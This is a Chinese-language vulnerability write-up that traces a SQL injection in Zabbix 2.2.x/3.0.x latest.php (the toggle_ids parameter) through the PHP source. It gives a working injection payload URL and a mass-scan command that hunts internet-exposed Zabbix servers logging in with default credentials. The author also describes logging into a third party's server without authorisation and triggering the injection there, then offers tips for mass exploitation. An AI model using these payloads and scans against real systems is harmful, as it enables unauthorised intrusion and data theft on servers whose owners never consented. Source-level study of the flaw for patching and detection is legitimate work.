Zabbix latest.php Insert注入分析与实践
[Vulnerability Analysis]
概要
因为未能过滤掉latest.php页面中toggle_ids数组的输入,导致Zabbix 2.2.x,3.0.x 远程SQL注入
源码分析
下载了两份官方代码对比,左为3.0.4(已修复的版本),右为3.0.3 \zabbix-3.0.3rc1\frontends\php\jsrpc.php
可见新版本中删除的代码即为漏洞触发部分。
/*
* Ajax
*/
if (hasRequest('favobj')) {
if ($_REQUEST['favobj'] == 'toggle') {
// $_REQUEST['toggle_ids'] can be single id or list of ids,
// where id xxxx is application id and id 0_xxxx is 0_ + host id
if (!is_array($_REQUEST['toggle_ids'])) {
if ($_REQUEST['toggle_ids'][1] == '_') {
$hostId = substr($_REQUEST['toggle_ids'], 2);
CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
}
else {
$applicationId = $_REQUEST['toggle_ids'];
CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
}
}
else {
foreach ($_REQUEST['toggle_ids'] as $toggleId) {
if ($toggleId[1] == '_') {
$hostId = substr($toggleId, 2);
CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
}
else {
$applicationId = $toggleId;
CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
}
}
}
}
}
$_REQUEST
获取的数据未经过滤,直接带入CProfile::update()
暂存更新的数据。
zabbix-3.0.3rc1/frontends/php/include/classes/user/CProfile.php
public static function update($idx, $value, $type, $idx2 = 0) {
if (is_null(self::$profiles)) {
self::init();
}
if (!self::checkValueType($value, $type)) {
return;
}
$profile = [
'idx' => $idx,
'value' => $value,
'type' => $type,
'idx2' => $idx2
];
$current = self::get($idx, null, $idx2);
if (is_null($current)) {
if (!isset(self::$insert[$idx])) {
self::$insert[$idx] = [];
}
self::$insert[$idx][$idx2] = $profile;
}
else {
if ($current != $value) {
if (!isset(self::$update[$idx])) {
self::$update[$idx] = [];
}
self::$update[$idx][$idx2] = $profile;
}
}
if (!isset(self::$profiles[$idx])) {
self::$profiles[$idx] = [];
}
self::$profiles[$idx][$idx2] = $value;
}
latest.php
末尾包含page_footer.php
(line 829)
require_once dirname(__FILE__).'/include/page_footer.php';
跟入page_footer.php
(line 38)
if (CProfile::isModified()) {
DBstart();
$result = CProfile::flush();
DBend($result);
}
继续跟入CProfile::flush()
public static function flush() {
$result = false;
if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
$result = true;
foreach (self::$insert as $idx => $profile) {
foreach ($profile as $idx2 => $data) {
$result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
}
}
...
}
return $result;
}
继续跟入self::insertDB()
private static function insertDB($idx, $value, $type, $idx2) {
$value_type = self::getFieldByType($type);
$values = [
'profileid' => get_dbid('profiles', 'profileid'),
'userid' => self::$userDetails['userid'],
'idx' => zbx_dbstr($idx),
$value_type => zbx_dbstr($value),
'type' => $type,
'idx2' => $idx2
];
return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}
跟入DBexecute()
php/include/db.inc.php
(line 499)
function DBexecute($query, $skip_error_messages = 0) {
global $DB;
if (!isset($DB['DB']) || empty($DB['DB'])) {
return false;
}
$result = false;
$time_start = microtime(true);
$DB['EXECUTE_COUNT']++;
switch ($DB['TYPE']) {
case ZBX_DB_MYSQL:
if (!$result = mysqli_query($DB['DB'], $query)) {
error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
}
break;
... ...
}
if ($DB['TRANSACTIONS'] != 0 && !$result) {
$DB['TRANSACTION_NO_FAILED_SQLS'] = false;
}
CProfiler::getInstance()->profileSql(microtime(true) - $time_start, $query);
return (bool) $result;
}
最终在mysqli_query()
执行。
实践
参考漏洞作者给出的Payload
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
直接访问latest.php
会返回一个You must login to view this page.
漏洞作者也指出登录后才可以(包括guest账号)。
懒得搭环境了,zabbix默认口令为admin/zabbix,正好之前写过这个PoC,先用它跑出几台机器试试。
https://github.com/Xyntax/POC-T/blob/master/script/zabbix-weakpass.py
python POC-T.py -m zabbix-weakpass -T --api --dork "zabbix country:cn" -t 30
结果还不少:
拿其中一个站,登录之后访问:
http://58.xx.xx.xx:82//latest.php?output=ajax&sid=17892f8c4912dfcd&favobj=toggle&toggle_open_state=1&toggle_ids[]=1%^&*%22%27()-*#
这里又报无权限,看了下源码,将sid参数值设置为登录后sessionid
的后16位。
再次提交,回显看到MySQL的报错,证明漏洞存在。
自动化验证Tips
目前各平台流出的PoC问题:不清楚后端用的什么数据库,难以获得可信度大的回显(如 md5(0x11)
)
源码中显示支持这些 * oracle * mysql * db2 * postgresql * sqlite3 源码对于不同数据库报错格式有两种,可用于PoC验证的特征字段:
error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
error('SQL error ['.$query.'] in ['.$e.']');
目前可以用作检验标准的特征字段是:
table class="msgerr"
li class="error"
Error in query [
orSQL error [
可以多实践一些版本增加PoC的容错性。 刷洞的话不如直接用jsrpc.php
的PoC: https://github.com/Xyntax/POC-T/blob/master/script/zabbix-jsrpc-sqli.py